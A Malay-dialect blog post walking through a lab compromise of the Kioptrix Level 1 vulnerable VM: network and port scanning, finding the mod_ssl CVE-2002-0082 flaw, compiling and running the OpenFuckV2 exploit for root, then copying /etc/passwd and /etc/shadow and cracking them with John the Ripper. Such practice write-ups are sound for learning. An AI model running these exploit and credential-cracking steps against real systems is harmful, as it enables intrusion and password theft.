Salam semuo. Ari ni den buek post pasal Kioptrix. Kioptrix ni adolah image linux yang vulnerable. Dengan bahaso mudah eh, image yang dibina khusus untuk di 'hack'.

Korang boleh la cubo download image ni di : http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar

Tanpa membuang maso, kito mulokan aktiviti mengeroot Kioptrix ni. Hehehe. Ok..mulo-mulo kito runkan image ni melalui VMWare. Image ini akan dapat ip secara dhcp.

Ok, ni paparan Kioptrix. Memang maklumat username dan password tak diberikan. So macam mano nak masuk? hehehe.. hack la bai.. :P



Ok, kito upkan image backtrack pulak. Image ni bertindak sebagai attacker/hacker. Jadi kito akan mula mengehack server Kioptrix ni. Macam mano nak tahu ip si Kioptrix ni? Sonang yo.. kito gunakan nbtscan dan buek sweep scan ikut range ip kito. Kalau nengok gambar kek bawah ni kito dah dapek ip bagi server Kioptrix ni.

<br>nbtscan x.x.x.x-x<br>


Hehe.. dah dapek ip eh.. apo laie nak buek? Kito buek la port scan. Den gunokan nmap. Dan kito cubo analisa result yang kito dapek.
<br>nmap -sS -sV 10.x.x.52<br>

Hmm.. ada apache running. Version lama lak tu 1.3.20. Kito cubo scan gunokan nikto. Dan kito analisa result eh.

Hmm.. poning gak nak baco kan? Hehehe.. kito guno niktorat untuk proses output file ni dan kito cubo analisa. Kito bulih donload niktorat ni kek sini : http://sourceforge.net/projects/niktorat/files/
<br>./niktorat kioptrix_80.txt kioptrix_80<br>


Hmm.. kito hanyo tertarik pado vulnerabilty remote exploit. Kito cubo cari exploit yang berkaitan berdasarkan CVE Number (CVE-2002-0082)
+ GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. Hmm.. kito akan gunokan OpenFuckV2.c untuk exploit kelemahan ni.

Ok.. bilo kito compile OpenFuckV2.c ni, kito akan dapek banyak error berkenaan dengan openssl rc4 dan md5. Kito tambah include file macam kek bawah ni dalam code dio.
<br>#include <openssl h=""><br>#include <openssl h=""><br>
Compilekan code OpenFuckV2.c dengan menggunokan command kek bawah ni. (Kalau ado error pasal xjumpo include file bagi ssl, pastikan install libssl-dev)
<br>gcc -o OpenFuckV2 OpenFuckV2.c -lcrypto<br>
Runkan exploit korang dengan command kek bawah ni :
<br>./OpenFuckV2 0x6b 10.x.x.52 443<br>


Hehehe.. kito dapek r00t privillege.



Kito cubo crack password untuk server Kioptrix ni yo. Copy file /etc/passwd dan /etc/shadow dio.



Lopeh dah copy fail /etc/passwd dan /etc/shadow server Kioptrix ni. Kito cubo crack gunokan John The Ripper. Ikut command kek bawah ni. Tunggu lah sampai proses cracking solosai. Hehehe..
<br>./unshadow /pentest/gh1mau/passwd.txt /pentest/gh1mau/shadow.txt > kioptrix.db<br>john kioptrix.db<br>john -show kioptrix.db<br>
Solosai.. Heheheh.. nanti ado maso den buek posting pasal Kioptrix Level 2 pulak yo. Happy Hacking dari pokcik ghimau :)
